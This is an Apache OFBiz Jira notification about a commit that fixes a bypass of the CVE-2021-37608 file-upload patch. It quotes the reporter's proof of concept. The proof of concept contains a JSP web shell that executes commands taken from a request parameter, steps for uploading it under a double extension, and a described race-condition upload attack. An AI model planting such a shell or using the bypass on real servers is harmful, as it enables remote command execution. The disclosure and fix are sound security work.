[jira] [Commented] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass

[ASF subversion and git services (Jira)]

    [ 
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17416583#comment-17416583
 ] 

ASF subversion and git services commented on OFBIZ-12307:
---------------------------------------------------------

Commit 0a49e0adddd3577f344781ddec664027d8de799d in ofbiz-framework's branch 
refs/heads/release17.12 from Jacques Le Roux
[ https://gitbox.apache.org/repos/asf?p=ofbiz-framework.git;h=0a49e0a ]

Fixed: CVE-2021-37608 vulnerability bypass (OFBIZ-12307)

Fixes a number of issues I spotted while working on OFBIZ-12305 in relation with
OFBIZ-12055

The last change I made for OFBIZ-12305 was incomplete, the files could not be
checked by SecuredUpload because they did not exist! This concerns
ImageManagementServices, DataServices, FrameImage and ProductServices classes.
I used Files::createTempFile to fix that.

Also fixes a bug in SecuredUpload where I reversed the check on
fileToCheck.length in Windows case. I also added a comment, Windows 10 now
allows more length (need an OS parameter change though)

Finally, creates public SecuredUpload::isValidText to be used in OFBIZ-12305

Conflicts handled by hand
  DataServices.java


> CVE-2021-37608 vulnerability bypass
> -----------------------------------
>
>                 Key: OFBIZ-12307
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-12307
>             Project: OFBiz
>          Issue Type: Sub-task
>    Affects Versions: 17.12.08
>            Reporter: thiscodecc
>            Assignee: Jacques Le Roux
>            Priority: Major
>              Labels: security
>             Fix For: 18.12.01, Release Branch 17.12
>
>
> The patch 
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
>  for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
>  1.Create a new xx.png.jsp file.
>  The content of the xx.png.jsp file is:
>  <%
> java.io.InputStream in = 
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
>  int a = -1;
>  byte[] b = new byte[2048];
>  out.print("<pre>");
>  while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("</pre>");
> %>
> 2.Upload the xx.png.jsp file directly
>  3.Visit the jsp Trojan address 
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>  
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>  
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so 
> "wrongFile=true".
>  
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>  
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>  
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is 
> to upload the file first and then delete it after judging that it is 
> malicious.This will create a race condition loophole.
>  Use multiple threads to upload the xxx.jsp file, and then keep accessing the 
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then 
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not 
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the 
> attacker first. This will create an arbitrary file upload vulnerability.



--
This message was sent by Atlassian Jira
(v8.3.4#803005)